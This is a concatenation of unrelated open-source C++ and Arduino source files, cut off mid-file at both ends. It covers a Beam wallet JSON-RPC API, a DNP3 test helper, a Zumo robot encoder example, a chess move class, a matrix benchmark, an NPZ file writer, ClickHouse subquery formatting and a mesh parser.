getOptionalParam(params, "ev_sync_progress"); message.systemState = getOptionalParam(params, "ev_system_state"); message.assetChanged = getOptionalParam(params, "ev_assets_changed"); message.addrsChanged = getOptionalParam(params, "ev_addrs_changed"); message.utxosChanged = getOptionalParam(params, "ev_utxos_changed"); message.txsChanged = getOptionalParam(params, "ev_txs_changed"); message.connectChanged = getOptionalParam(params, "ev_connection_changed"); return std::make_pair(message, MethodInfo()); } void V61Api::getResponse(const JsonRpcId& id, const EvSubUnsub::Response& res, json& msg) { msg = json { {JsonRpcHeader, JsonRpcVersion}, {"id", id}, {"result", res.result} }; } std::pair V61Api::onParseGetVersion(const JsonRpcId& id, const nlohmann::json& params) { GetVersion message{}; return std::make_pair(message, MethodInfo()); } void V61Api::getResponse(const JsonRpcId& id, const GetVersion::Response& res, json& msg) { msg = json { {JsonRpcHeader, JsonRpcVersion}, {"id", id}, {"result", { {"api_version", res.apiVersion}, {"api_version_major", res.apiVersionMajor}, {"api_version_minor", res.apiVersionMinor}, {"beam_version", res.beamVersion}, {"beam_version_major", res.beamVersionMajor}, {"beam_version_minor", res.beamVersionMinor}, {"beam_version_rev", res.beamVersionRevision}, {"beam_commit_hash", res.beamCommitHash}, {"beam_branch_name", res.beamBranchName} } } }; } std::pair V61Api::onParseWalletStatusV61(const JsonRpcId& id, const nlohmann::json& params) { WalletStatusV61 message{}; message.nzOnly = getOptionalParam(params, "nz_totals"); return std::make_pair(message, MethodInfo()); } void V61Api::getResponse(const JsonRpcId& id, const WalletStatusV61::Response& res, json& msg) { msg = json { {JsonRpcHeader, JsonRpcVersion}, {"id", id}, {"result", { {"current_height", res.currentHeight}, {"current_state_hash", to_hex(res.currentStateHash.m_pData, res.currentStateHash.nBytes)}, {"current_state_timestamp", res.currentStateTimestamp}, {"prev_state_hash", to_hex(res.prevStateHash.m_pData, res.prevStateHash.nBytes)}, {"is_in_sync", res.isInSync}, } } }; if (!getAppId().empty()) { return; } auto& result = msg["result"]; result["available"] = res.available; result["receiving"] = res.receiving; result["sending"] = res.sending; result["maturing"] = res.maturing; result["difficulty"] = res.difficulty; if (res.totals) { for(const auto& it: res.totals->GetAllTotals()) { const auto& totals = it.second; json jtotals; jtotals["asset_id"] = totals.AssetId; auto avail = totals.Avail; avail += totals.AvailShielded; jtotals["available_str"] = std::to_string(avail); jtotals["available_regular_str"] = std::to_string(totals.Avail); jtotals["available_mp_str"] = std::to_string(totals.AvailShielded); if (avail <= kMaxAllowedInt) { jtotals["available"] = AmountBig::get_Lo(avail); } if (totals.Avail <= kMaxAllowedInt) { jtotals["available_regular"] = AmountBig::get_Lo(totals.Avail); } if (totals.AvailShielded <= kMaxAllowedInt) { jtotals["available_mp"] = AmountBig::get_Lo(totals.AvailShielded); } auto incoming = totals.Incoming; incoming += totals.IncomingShielded; jtotals["receiving_str"] = std::to_string(incoming); jtotals["receiving_regular_str"] = std::to_string(totals.Incoming); jtotals["receiving_mp_str"] = std::to_string(totals.IncomingShielded); if (incoming <= kMaxAllowedInt) { jtotals["receiving"] = AmountBig::get_Lo(incoming); } if (totals.Incoming <= kMaxAllowedInt) { jtotals["receiving_regular"] = AmountBig::get_Lo(totals.Incoming); } if (totals.IncomingShielded <= kMaxAllowedInt) { jtotals["receiving_mp"] = AmountBig::get_Lo(totals.IncomingShielded); } auto outgoing = totals.Outgoing; outgoing += totals.OutgoingShielded; jtotals["sending_str"] = std::to_string(outgoing); jtotals["sending_regular_str"] = std::to_string(totals.Outgoing); jtotals["sending_mp_str"] = std::to_string(totals.OutgoingShielded); if (outgoing <= kMaxAllowedInt) { jtotals["sending"] = AmountBig::get_Lo(outgoing); } if (totals.Outgoing <= kMaxAllowedInt) { jtotals["sending_regular"] = AmountBig::get_Lo(totals.Outgoing); } if (totals.OutgoingShielded <= kMaxAllowedInt) { jtotals["sending_mp"] = AmountBig::get_Lo(totals.OutgoingShielded); } auto maturing = totals.Maturing; maturing += totals.MaturingShielded; jtotals["maturing_str"] = std::to_string(maturing); jtotals["maturing_regular_str"] = std::to_string(totals.Maturing); jtotals["maturing_mp_str"] = std::to_string(totals.MaturingShielded); if (maturing <= kMaxAllowedInt) { jtotals["maturing"] = AmountBig::get_Lo(maturing); } if (totals.Maturing <= kMaxAllowedInt) { jtotals["maturing_regular"] = AmountBig::get_Lo(totals.Maturing); } if (totals.MaturingShielded <= kMaxAllowedInt) { jtotals["maturing_mp"] = AmountBig::get_Lo(totals.MaturingShielded); } auto change = totals.ReceivingChange; jtotals["change_str"] = std::to_string(change); if (change <= kMaxAllowedInt) { jtotals["change"] = AmountBig::get_Lo(change); } auto locked = totals.Maturing; locked += totals.MaturingShielded; locked += totals.ReceivingChange; jtotals["locked_str"] = std::to_string(locked); if (locked <= kMaxAllowedInt) { jtotals["locked"] = AmountBig::get_Lo(locked); } result["totals"].push_back(jtotals); } } } std::pair V61Api::onParseInvokeContractV61(const JsonRpcId &id, const json ¶ms) { InvokeContractV61 message; if(const auto contract = getOptionalParam(params, "contract")) { const json& bytes = *contract; message.contract = bytes.get>(); } else if(const auto fname = getOptionalParam(params, "contract_file")) { fsutils::fread(*fname).swap(message.contract); } if (const auto args = getOptionalParam(params, "args")) { message.args = *args; } if (const auto createTx = getOptionalParam(params, "create_tx")) { message.createTx = *createTx; } if (isApp() && message.createTx) { throw jsonrpc_exception(ApiError::NotAllowedError, "Applications must set create_tx to false and use process_contract_data"); } if (const auto priority = getOptionalParam(params, "priority")) { message.priority = *priority; } if (const auto unique = getOptionalParam(params, "unique")) { message.unique = *unique; } return std::make_pair(message, MethodInfo()); } void V61Api::getResponse(const JsonRpcId& id, const InvokeContractV61::Response& res, json& msg) { msg = nlohmann::json { {JsonRpcHeader, JsonRpcVersion}, {"id", id}, {"result", { {"output", res.output ? *res.output : std::string("")} } } }; if (res.txid) { msg["result"]["txid"] = std::to_string(*res.txid); } if (res.invokeData) { msg["result"]["raw_data"] = *res.invokeData; } } } sentient-energy/emsw-opendnp3-mirror // // Licensed to Green Energy Corp (www.greenenergycorp.com) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. Green Enery Corp licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. // #include "ResponseLoaderTestObject.h" #include #include #include #include #include namespace apl { namespace dnp { ResponseLoaderTestObject::ResponseLoaderTestObject() : log(), fdo(), mpLogger(log.GetLogger(LEV_INFO, "rsp")), vto(mpLogger) {} void ResponseLoaderTestObject::Load(const std::string& arAPDU) { fdo.Clear(); HexSequence hs(arAPDU); APDU f; f.Write(hs, hs.Size()); f.Interpret(); ResponseLoader rl(mpLogger, &fdo, &vto); for(HeaderReadIterator hdr = f.BeginRead(); !hdr.IsEnd(); ++hdr) { rl.Process(hdr); } } void ResponseLoaderTestObject::CheckBinaries(const std::string& arAPDU) { this->Load(arAPDU); BOOST_REQUIRE_EQUAL(fdo.mBinaryMap.size(), 3); BOOST_REQUIRE_EQUAL(fdo.GetTotalCount(), 3); BOOST_REQUIRE(fdo.Check(false, BQ_ONLINE, 1, TimeStamp_t(0))); BOOST_REQUIRE(fdo.Check(true, BQ_ONLINE, 2, TimeStamp_t(0))); BOOST_REQUIRE(fdo.Check(false, BQ_ONLINE, 3, TimeStamp_t(0))); } void ResponseLoaderTestObject::CheckCounters(const std::string& arAPDU) { this->Load(arAPDU); BOOST_REQUIRE_EQUAL(fdo.mCounterMap.size(), 2); BOOST_REQUIRE_EQUAL(fdo.GetTotalCount(), 2); BOOST_REQUIRE(fdo.Check(4, CQ_ONLINE, 0, TimeStamp_t(0))); BOOST_REQUIRE(fdo.Check(9, CQ_ONLINE, 1, TimeStamp_t(0))); } void ResponseLoaderTestObject::CheckAnalogs(const std::string& arAPDU) { this->Load(arAPDU); BOOST_REQUIRE_EQUAL(fdo.mAnalogMap.size(), 2); BOOST_REQUIRE_EQUAL(fdo.GetTotalCount(), 2); BOOST_REQUIRE(fdo.Check(4, AQ_ONLINE, 0, TimeStamp_t(0))); BOOST_REQUIRE(fdo.Check(9, AQ_ONLINE, 1, TimeStamp_t(0))); } void ResponseLoaderTestObject::CheckSetpointStatii(const std::string& arAPDU) { this->Load(arAPDU); BOOST_REQUIRE_EQUAL(fdo.mSetpointStatusMap.size(), 2); BOOST_REQUIRE_EQUAL(fdo.GetTotalCount(), 2); BOOST_REQUIRE(fdo.Check(4, PQ_ONLINE, 0)); BOOST_REQUIRE(fdo.Check(9, PQ_ONLINE, 1)); } } } /* * Shows how to read the encoders on the Zumo 32U4. The encoders can * tell you how far, and in which direction each motor has turned. * * Press and hold button A to drive both motors forward at full speed. * * Press and hold button C to drive both motors in reverse at full speed. * * Encoder counts are printed to the LCD and to the serial monitor. * * On the LCD, the top line shows the counts from the left encoder, * and the bottom line shows the counts from the right encoder. * Encoder errors should not happen, but if one does happen then the * buzzer will beep and an exclamation mark will appear temporarily * on the LCD. * * In the serial monitor, the first and second numbers represent * counts from the left and right encoders, respectively. The third * and fourth numbers represent errors from the left and right * encoders, respectively. * * Adapted from Zumo32U4 library example * https://github.com/pololu/zumo-32u4-arduino-library/blob/master/examples/Encoders/Encoders.ino */ #include namespace { Zumo32U4Motors motors = Zumo32U4Motors{}; Zumo32U4Encoders encoders = Zumo32U4Encoders{}; Zumo32U4LCD lcd = Zumo32U4LCD{}; Zumo32U4ButtonA buttonA = Zumo32U4ButtonA{}; Zumo32U4ButtonC buttonC = Zumo32U4ButtonC{}; uint8_t lastDisplayTime = 0; uint8_t displayErrorLeftCountdown = 0; uint8_t displayErrorRightCountdown = 0; } // namespace void setup() { // Initialize the LCD display lcd.init(); // Uncomment this if the motors of your Zumo are backwards // motors.flipLeftMotor(); // motors.flipRightMotor(); } void loop() { if ((uint8_t)(millis() - lastDisplayTime) >= 100) { lastDisplayTime = millis(); int16_t countsLeft = encoders.getCountsLeft(); int16_t countsRight = encoders.getCountsRight(); bool errorLeft = encoders.checkErrorLeft(); bool errorRight = encoders.checkErrorRight(); if (encoders.checkErrorLeft()) { // An error occurred on the left encoder channel. // Display it on the LCD for the next 10 iterations and // also beep. displayErrorLeftCountdown = 10; } if (encoders.checkErrorRight()) { // An error occurred on the left encoder channel. // Display it on the LCD for the next 10 iterations and // also beep. displayErrorRightCountdown = 10; } // Update the LCD with encoder counts and error info. lcd.clear(); lcd.print(countsLeft); lcd.gotoXY(0, 1); lcd.print(countsRight); if (displayErrorLeftCountdown) { // Show an exclamation point on the first line to // indicate an error from the left encoder. lcd.gotoXY(7, 0); lcd.print('!'); displayErrorLeftCountdown--; } if (displayErrorRightCountdown) { // Show an exclamation point on the second line to // indicate an error from the left encoder. lcd.gotoXY(7, 1); lcd.print('!'); displayErrorRightCountdown--; } // Send the information to the serial monitor also. char report[32] = {}; snprintf(report, sizeof(report), "%6d %6d %1d %1d", countsLeft, countsRight, errorLeft, errorRight); Serial.println(report); } if (buttonA.isPressed()) { motors.setSpeeds(400, 400); } else if (buttonC.isPressed()) { motors.setSpeeds(-400, -400); } else { motors.setSpeeds(0, 0); } }#ifndef _MOVE #define _MOVE #include "position.hpp" #include "chesstypes.hpp" namespace C2_chess { class Move { protected: Position _from; Position _to; piecetype _piece_type; bool _capture; piecetype _target_piece_type; bool _en_passant; bool _promotion; piecetype _promotion_piece_type; bool _check; bool _mate; bool _stalemate; public: Move(); Move(const Square* from, const Square* to, piecetype piece_type = piecetype::Pawn, bool capture = false, piecetype target_pt = piecetype::Pawn, bool ep = false, bool promotion = false, piecetype promotion_pt = piecetype::Undefined, bool check = false, bool mate = false, bool stalemate = false); Move(const Position& from, const Position& to, piecetype piece_type = piecetype::Pawn, bool capture = false, piecetype target_pt = piecetype::Pawn, bool ep = false, bool promotion = false, piecetype promotion_pt = piecetype::Undefined, bool check = false, bool mate = false, bool stalemate = false); Move(const Move& m); Move(Move* const m); ~Move(); bool operator==(const Move& m); Move& operator=(const Move& m); Position get_from() const { return _from; } int get_from_rankindex() const { return _from.get_rank(); } int get_from_fileindex() const { return _from.get_file(); } int get_to_fileindex() const { return _to.get_file(); } Position get_to() const { return _to; } piecetype get_piece_type() const { return _piece_type; } bool get_capture() const { return _capture; } piecetype get_target_piece_type() const { return _target_piece_type; } bool get_en_passant() const { return _en_passant; } bool get_promotion() const { return _promotion; } piecetype get_promotion_piece_type() const { return _promotion_piece_type; } bool get_check() const { return _check; } bool get_mate() const { return _mate; } bool get_stalemate() const { return _stalemate; } void set_from(const Position& p) { _from = p; } void set_to(const Position& p) { _to = p; } void set_piecetype(piecetype pt) { _piece_type = pt; } void set_capture(bool t) { _capture = t; } void set_target_piece_type(piecetype pt) { _target_piece_type = pt; } void set_en_passant(bool ep) { _en_passant = ep; } void set_promotion(bool promotion) { _promotion = promotion; } void set_promotion_piece_type(const piecetype pt) { _promotion_piece_type = pt; } void set_check(bool color) { _check = color; } void set_mate(bool m) { _mate = m; } void set_stalemate(bool m) { _stalemate = m; } std::string bestmove_engine_style() const; friend std::ostream& operator<<(std::ostream& os, const Move& m); }; } #endif /* Copyright (c) 2014, Intel Corporation Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Intel Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include #include #include #include #include "ref/Matrix4x4.h" #include "ScopedTimer.h" #include "TestValues.h" #include "TransformsAreClose.h" using namespace xbb; static const char * sInverseSxSHName = "Inverse S*SH"; TEST_CASE(sInverseSxSHName, "") { // time inverse S*SH with reference vs XBB volatile const TestValues tv = TestValues::get(); const int repeatCount = 1000000; // Compose a transform using traditional OO approach double refTime = 0.0; { ScopedTimer timer(refTime); XBB_INLINE_BLOCK { for (int rep=0; rep < repeatCount; ++rep) { ref::Matrix4x4 S; S.makeScale(tv.scaleX, tv.scaleY, tv.scaleZ); ref::Matrix4x4 SH; SH.makeShear3(tv.shearX, tv.shearY, tv.shearZ); *gRefFinalTransform = (S*SH).inverse(); } } } // Compose a transform using XBB xbb::Matrix4x3 xbbFinalTransform; double xbbTime = 0.0; { ScopedTimer timer(xbbTime); XBB_INLINE_BLOCK { for (int rep=0; rep < repeatCount; ++rep) { xbb::Scale S(tv.scaleX, tv.scaleY, tv.scaleZ); xbb::Shear3 SH(tv.shearX, tv.shearY, tv.shearZ); (S*SH).inverse().to(*gXbbFinalTransform); } } } std::cout << sInverseSxSHName << ":"<< std::endl; // std::cout << "Ref Transform " << gRefFinalTransform << std::endl; // std::cout << "xbb Transform " << gXbbFinalTransform << std::endl; TRANSFORMS_ARE_CLOSE(*gXbbFinalTransform, *gRefFinalTransform); std::cout << " ref Time " << refTime << std::endl; std::cout << " xbb Time " << xbbTime << std::endl; std::cout << " speedup " << refTime/xbbTime << "x" << std::endl << std::endl; } #pragma once #include #include #include #include #include /** @brief include for the imgui GUI-System * * imgui::base contains the standard Imgui Installation * imgui::nodes contains node-graph stuff * imgui::filebrowser contains a filebrowser module * imgui::sequencer contains a sequencer module * imgui::gizmo contains functions to work with gizmos */ namespace imgui::base { using namespace ImGui; } /* * CX - C++ framework for general purpose development * * https://github.com/draede/cx * * Copyright (C) 2014 - 2021 draede - draede [at] outlook [dot] com * * Released under the MIT License. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include "CX/precomp.hpp" #include "CX/Data/NPY/NPZWriter.hpp" #include "CX/Mem.hpp" #include "CX/Print.hpp" #include "zip.h" #include "CX/C/Platform/Windows/windows.h" namespace CX { namespace Data { namespace NPY { NPZWriter::NPZWriter() { m_header.Reset(); m_pZIP = NULL; m_pBuffer = NULL; m_cbBufferSize = 0; m_cbBufferUsedSize = 0; m_cbReceived = 0; m_cbWritten = 0; } NPZWriter::~NPZWriter() { Close(); } Status NPZWriter::CheckCreateArgs(Size cRowsCount, Size cColumnsCount, Type nType, ByteOrder nByteOrder, Format nFormat, Version nVersion, Size cbBufferSize) { if (0 == cRowsCount) { return Status(Status_InvalidArg, "rows count too small"); } if (Consts::MIN_COLUMNS_COUNT > cColumnsCount) { return Status(Status_InvalidArg, "columns count too small"); } if (Consts::MAX_COLUMNS_COUNT < cColumnsCount) { return Status(Status_InvalidArg, "columns count too big"); } if (Type_Invalid >= nType || Type_Double < nType) { return Status(Status_InvalidArg, "type is invalid"); } if (ByteOrder_Invalid >= nByteOrder || ByteOrder_BigEndian < nByteOrder) { return Status(Status_InvalidArg, "byte order is invalid"); } if (Format_Invalid >= nFormat || Format_Fortran < nFormat) { return Status(Status_InvalidArg, "format is invalid"); } if (Version_Invalid >= nVersion || Version_3_0 < nVersion) { return Status(Status_InvalidArg, "version is invalid"); } if (MIN_BUFFER_SIZE > cbBufferSize) { return Status(Status_InvalidArg, "buffer size too small"); } if (MAX_BUFFER_SIZE < cbBufferSize) { return Status(Status_InvalidArg, "buffer size too big"); } return Status(); } Status NPZWriter::Create(const Char *szName, int nCompression, Size cRowsCount, Size cColumnsCount, Type nType, ByteOrder nByteOrder, Format nFormat, Version nVersion, Size cbBufferSize) { String sHeader; int nRet; Status status; m_header.nFormat = nFormat; m_header.nVersion = nVersion; m_header.nType = nType; m_header.nByteOrder = nByteOrder; m_header.cColumns = cColumnsCount; m_header.cRows = cRowsCount; m_header.cbRowSize = 0; m_header.cbUsedSize = 0; m_header.cbTotalSize = 0; m_header.ComputeRowSize(); if (ZIP_OK != (nRet = zipOpenNewFileInZip64(m_pZIP, szName, NULL, NULL, 0, NULL, 0, NULL, Z_DEFLATED, nCompression, ((UInt64)m_header.cbRowSize * (UInt64)cRowsCount > (UInt64)0xFFFFFFFF) ? 1 : 0))) { return Status(Status_OperationFailed, "Failed to open new zip in file : {1}", nRet); } if (!(status = m_header.Write(&sHeader, 0))) { return status; } if (!(status = WriteInternal(sHeader.c_str(), sHeader.size()))) { return status; } if (NULL == (m_pBuffer = (Byte *)Mem::Alloc(cbBufferSize))) { return Status_MemAllocFailed; } m_cbBufferSize = cbBufferSize; memset(m_pBuffer, 0, m_cbBufferSize); m_cbBufferUsedSize = 0; m_cbReceived = 0; m_cbWritten = 0; return Status(); } Status NPZWriter::WriteInternal(const void *pBuffer, Size cbSize) { int nRet; Status status; if (ZIP_OK != (nRet = zipWriteInFileInZip(m_pZIP, pBuffer, (unsigned int)cbSize))) { return Status(Status_WriteFailed, "Write failed with error {1}", nRet); } return Status(); } Status NPZWriter::Flush() { Status status; if (!(status = WriteInternal(m_pBuffer, m_cbBufferUsedSize))) { return status; } m_cbWritten += m_cbBufferUsedSize; m_cbBufferUsedSize = 0; return Status(); } Status NPZWriter::Create(const Char *szPath, const Char *szName, int nCompression, Size cRowsCount, Size cColumnsCount, Type nType, ByteOrder nByteOrder/* = ByteOrder_LittleEndian*/, Format nFormat/* = Format_C*/, Version nVersion/* = Version_1_0*/, Size cbBufferSize/* = DEFAULT_BUFFER_SIZE*/) { Status status; if (!(status = CheckCreateArgs(cRowsCount, cColumnsCount, nType, nByteOrder, nFormat, nVersion, cbBufferSize))) { return status; } Close(); _unlink(szPath); if (NULL == (m_pZIP = zipOpen64(szPath, 0))) { return Status(Status_CreateFailed, "Failed to create zip '{1}'", szPath); } if (!(status = Create(szName, nCompression, cRowsCount, cColumnsCount, nType, nByteOrder, nFormat, nVersion, cbBufferSize))) { Close(); return status; } m_sPath = szPath; return Status(); } Status NPZWriter::Create(const WChar *wszPath, const Char *szName, int nCompression, Size cRowsCount, Size cColumnsCount, Type nType, ByteOrder nByteOrder/* = ByteOrder_LittleEndian*/, Format nFormat/* = Format_C*/, Version nVersion/* = Version_1_0*/, Size cbBufferSize/* = DEFAULT_BUFFER_SIZE*/) { String sPath; Status status; _wunlink(wszPath); if (!(status = Str::UTF8::FromWChar(wszPath, &sPath))) { return status; } if (!(status = Create(sPath.c_str(), szName, nCompression, cRowsCount, cColumnsCount, nType, nByteOrder, nFormat, nVersion, cbBufferSize))) { return status; } m_sPath.clear(); m_wsPath = wszPath; return Status(); } Status NPZWriter::Close() { UInt64 cRows = 0; Status status; if (NULL != m_pZIP) { status = Flush(); if (status) { if (0 != (m_cbWritten % m_header.cbRowSize)) { status = Status(Status_InvalidArg, "The last row is incomplete"); } } if (status) { cRows = m_cbWritten / m_header.cbRowSize; if (m_header.cRows != cRows) { status = Status(Status_InvalidArg, "Invalid number of rows written ({1}, expected {2})", cRows, m_header.cRows); } if (Consts::MAX_ROWS_COUNT < cRows) { status = Status(Status_InvalidArg, "Too many rows"); } } } if (NULL != m_pBuffer) { Mem::Free(m_pBuffer); m_pBuffer = NULL; } if (NULL != m_pZIP) { zipCloseFileInZip(m_pZIP); zipClose(m_pZIP, NULL); m_pZIP = NULL; } m_header.Reset(); m_cbBufferSize = 0; m_cbBufferUsedSize = 0; m_cbReceived = 0; m_cbWritten = 0; return status; } Status NPZWriter::Write(const void *pBuffer, Size cbSize) { const Byte *pPos = (const Byte *)pBuffer; Size cbLeftOver = m_cbBufferSize - m_cbBufferUsedSize; Size cbChunkSize; Status status; while (0 < cbSize) { if (cbSize > cbLeftOver) { cbChunkSize = cbLeftOver; } else { cbChunkSize = cbSize; } memcpy(m_pBuffer + m_cbBufferUsedSize, pPos, cbChunkSize); m_cbBufferUsedSize += cbChunkSize; pPos += cbChunkSize; cbSize -= cbChunkSize; m_cbReceived += cbChunkSize; if (m_cbBufferUsedSize == m_cbBufferSize) { if (!(status = Flush())) { return status; } } } return Status(); } Bool NPZWriter::IsOK() const { return (NULL != m_pZIP); } const Char *NPZWriter::GetPathA() const { return m_sPath.c_str(); } const WChar *NPZWriter::GetPathW() const { return m_wsPath.c_str(); } Format NPZWriter::GetFormat() const { if (NULL == m_pZIP) { return Format_Invalid; } return m_header.nFormat; } Size NPZWriter::GetRowsCount() const { if (NULL == m_pZIP) { return 0; } return m_header.cRows; } Size NPZWriter::GetColumnsCount() const { if (NULL == m_pZIP) { return 0; } return m_header.cColumns; } Type NPZWriter::GetType() const { if (NULL == m_pZIP) { return Type_Invalid; } return m_header.nType; } ByteOrder NPZWriter::GetByteOrder() const { if (NULL == m_pZIP) { return ByteOrder_Invalid; } return m_header.nByteOrder; } Size NPZWriter::GetRowSize() const { if (NULL == m_pZIP) { return 0; } return m_header.cbRowSize; } Version NPZWriter::GetVersion() const { if (NULL == m_pZIP) { return Version_Invalid; } return m_header.nVersion; } Size NPZWriter::GetBufferSize() const { if (NULL == m_pZIP) { return 0; } return m_cbBufferSize; } UInt64 NPZWriter::GetReceivedBytes() const { if (NULL == m_pZIP) { return 0; } return m_cbReceived; } UInt64 NPZWriter::GetWrittenBytes() const { if (NULL == m_pZIP) { return 0; } return m_cbWritten; } }//namespace NPY }//namespace Data }//namespace CX CmdLine/ProjectStatus/ProjectStatus.cpp10-100 //----------------------------------------- // (c) Reliable Software 2001 -- 2004 //----------------------------------------- #include "precompiled.h" #include "CmdArgs.h" #include "Catalog.h" #include "ProjectMarker.h" #include "CmdLineVersionLabel.h" #include #include #include #include #include class ProjectStatusSwitch : public StandardSwitch { public: ProjectStatusSwitch () { SetAllInProject (); } }; int main (int count, char * args []) { int retCode = 0; try { ProjectStatusSwitch validSwitch; CmdArgs cmdArgs (count, args, validSwitch); if (cmdArgs.IsHelp ()) { std::cout << CMDLINE_VERSION_LABEL << ".\n\n"; std::cout << "List projects with checked out files and/or incoming scripts." << std::endl; std::cout << "options:\n"; std::cout << " -a -- list all projects\n"; std::cout << " -? -- display help\n"; } else { Catalog catalog; for (ProjectSeq seq (catalog); !seq.AtEnd (); seq.Advance ()) { // Count checked out files unsigned int checkoutCount = 0; FilePath databasePath (seq.GetProjectDataPath ()); if (File::Exists (databasePath.GetDir ())) { FileSeq seq (databasePath.GetFilePath ("*.og1")); while (!seq.AtEnd ()) { checkoutCount++; seq.Advance (); } if (checkoutCount == 0) { FileSeq seq (databasePath.GetFilePath ("*.og2")); while (!seq.AtEnd ()) { checkoutCount++; seq.Advance (); } } } // Check if unpacked scripts present IncomingScripts incomingScript (catalog, seq.GetProjectId ()); if (checkoutCount != 0 || incomingScript.Exists () || cmdArgs.IsAllInProject ()) { FilePath sourcePath (seq.GetProjectSourcePath ()); std::cout << seq.GetProjectName () << " (" << sourcePath.GetDir () << ")"; if (checkoutCount != 0 || incomingScript.Exists ()) { std::cout << " -- "; if (checkoutCount != 0) std::cout << checkoutCount << " checked out file(s); "; if (incomingScript.Exists ()) std::cout << "incoming script(s)"; } std::cout << std::endl; } } } } catch (Win::Exception e) { std::cerr << "projectstatus: " << e.GetMessage () << std::endl; SysMsg msg (e.GetError ()); if (msg) std::cerr << "System tells us: " << msg.Text (); std::string objectName (e.GetObjectName ()); if (!objectName.empty ()) std::cerr << " " << objectName << std::endl; retCode = 1; } catch (...) { Win::ClearError (); std::cerr << "projectstatus: unknown problem" << std::endl; retCode = 1; } return retCode; } 0 #pragma once #include namespace bacs::problem::resource { struct error : virtual problem::error {}; } // namespace bacs::problem::resource #include #include #include #include namespace DB { void ASTSubquery::appendColumnNameImpl(WriteBuffer & ostr) const { /// This is a hack. We use alias, if available, because otherwise tree could change during analysis. if (!alias.empty()) { writeString(alias, ostr); } else if (!cte_name.empty()) { writeString(cte_name, ostr); } else { Hash hash = getTreeHash(); writeCString("__subquery_", ostr); writeText(hash.first, ostr); ostr.write('_'); writeText(hash.second, ostr); } } void ASTSubquery::formatImplWithoutAlias(const FormatSettings & settings, FormatState & state, FormatStateStacked frame) const { /// NOTE: due to trickery of filling cte_name (in interpreters) it is hard /// to print it without newline (for !oneline case), since if nl_or_ws /// prepended here, then formatting will be incorrect with alias: /// /// (select 1 in ((select 1) as sub)) if (!cte_name.empty()) { settings.ostr << (settings.hilite ? hilite_identifier : ""); settings.writeIdentifier(cte_name); settings.ostr << (settings.hilite ? hilite_none : ""); return; } std::string indent_str = settings.one_line ? "" : std::string(4u * frame.indent, ' '); std::string nl_or_nothing = settings.one_line ? "" : "\n"; settings.ostr << "(" << nl_or_nothing; FormatStateStacked frame_nested = frame; frame_nested.need_parens = false; ++frame_nested.indent; children[0]->formatImpl(settings, state, frame_nested); settings.ostr << nl_or_nothing << indent_str << ")"; } void ASTSubquery::updateTreeHashImpl(SipHash & hash_state) const { if (!cte_name.empty()) hash_state.update(cte_name); IAST::updateTreeHashImpl(hash_state); } String ASTSubquery::getAliasOrColumnName() const { if (!alias.empty()) return alias; if (!cte_name.empty()) return cte_name; return getColumnName(); } String ASTSubquery::tryGetAlias() const { if (!alias.empty()) return alias; return cte_name; } } #include "Util.h" #include "Typedefs.h" #include "MeshData.h" #include #include bool parseTtg(const std::string& input, MeshData& outMesh) { std::vector vertices; std::vector> meshElementIndices; std::vector boundaryIndices; std::stringstream stream(input); UnsignedInt dim; UnsignedInt vertexCount; UnsignedInt meshElementCount; UnsignedInt boundaryCount; // First line should have dimension std::string c; stream >> c; if (c != std::string{'d'}) return false; stream >> dim; // Second line should have vertex count stream >> c; if (c != std::string{'v'}) return false; stream >> vertexCount; // Then the elements stream >> c; if (c != std::string{'e'}) return false; stream >> meshElementCount; stream >> c; if (c != std::string{'b'}) return false; stream >> boundaryCount; Magnum::Debug{} << "Reading mesh with " << vertexCount << " vertices, " << meshElementCount << " elements" << "and " << boundaryCount << " boundary nodes."; // Read vertex coordinates for (UnsignedInt i = 0; i < vertexCount; ++i) { std::array vi{{0.f, 0.f, 0.f}}; for (UnsignedInt j = 0; j < dim; ++j) { stream >> vi[j]; if (!stream.good()) return false; } const Vector3 